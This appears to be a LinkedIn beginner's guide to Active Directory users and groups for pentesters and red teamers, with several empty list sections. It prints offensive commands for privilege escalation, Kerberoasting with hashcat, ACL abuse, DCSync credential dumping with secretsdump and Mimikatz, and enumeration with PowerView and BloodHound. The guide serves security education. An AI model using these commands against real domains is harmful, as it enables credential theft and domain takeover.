Active Directory Users & Groups: A Beginner’s Guide for Pentesters and Red Teamers
Active Directory Users & Groups: A Beginner’s Guide for Pentesters and Red Teamers
Active Directory (AD) is the backbone of Windows networks, and users and groups are at the heart of how it manages access and permissions. For beginners in pentesting and red teaming, understanding how users and groups work is essential for finding vulnerabilities, escalating privileges, and taking control of a network.
This guide will explain:
1. What Are Users and Groups in Active Directory?
Users
Users are accounts that represent people or services in an AD environment. Examples:
Groups
Groups are collections of users or other groups. They make it easier to manage permissions for multiple users at once. Examples:
2. Why Are Users and Groups Important for Attackers?
Attackers target users and groups because:
3. Key Concepts for Beginners
A. Group Scopes
Groups in AD have different scopes that define where they can be used:
B. Nested Groups
Groups can contain other groups. For example:
This is called group nesting, and it’s a common way attackers escalate privileges.
4. How Attackers Exploit Users and Groups
A. Credential Harvesting
Attackers steal passwords or hashes to impersonate users. Common techniques:
Recommended by LinkedIn
B. Privilege Escalation
Attackers add themselves to privileged groups to gain more control. For example:
net group "Domain Admins" attacker_user /add /domain
This command adds attacker_user to the Domain Admins group.
C. Kerberoasting
Attackers target service accounts with Service Principal Names (SPNs). They request service tickets, extract their hashes, and crack them offline:
GetUserSPNs.py -dc-ip <DC_IP> <domain>/<user> -outputfile hashes.txt
hashcat -m 13100 hashes.txt rockyou.txt
D. ACL Abuse
Attackers exploit misconfigured Access Control Lists (ACLs) to grant themselves permissions. For example:
Add-DomainObjectAcl -TargetIdentity "DC=marvel,DC=local" -PrincipalIdentity attacker_user -Rights All
This command gives attacker_user full control over the domain.
5. Tools for Enumerating and Exploiting Users and Groups
Tool Use Case Command Example PowerView Enumerate users and groups Get-NetUser -Domain marvel.local BloodHound Visualize group relationships Invoke-BloodHound -CollectionMethod All Impacket Kerberoasting, DCSync secretsdump.py -just-dc <domain>/<user> Mimikatz Credential dumping, Golden Tickets lsadump::dcsync /domain:marvel.local /user:krbtgt
6. Defensive Tips for Blue Teams
7. Real-World Attack Scenario
Key Takeaways
Further Resources
Tools to Try
Disclaimer: Use these techniques ethically and only on systems you own or have permission to test.
Got questions or war stories? Share them below! 👇
#ActiveDirectory #Pentesting #RedTeam #Cybersecurity #PrivilegeEscalation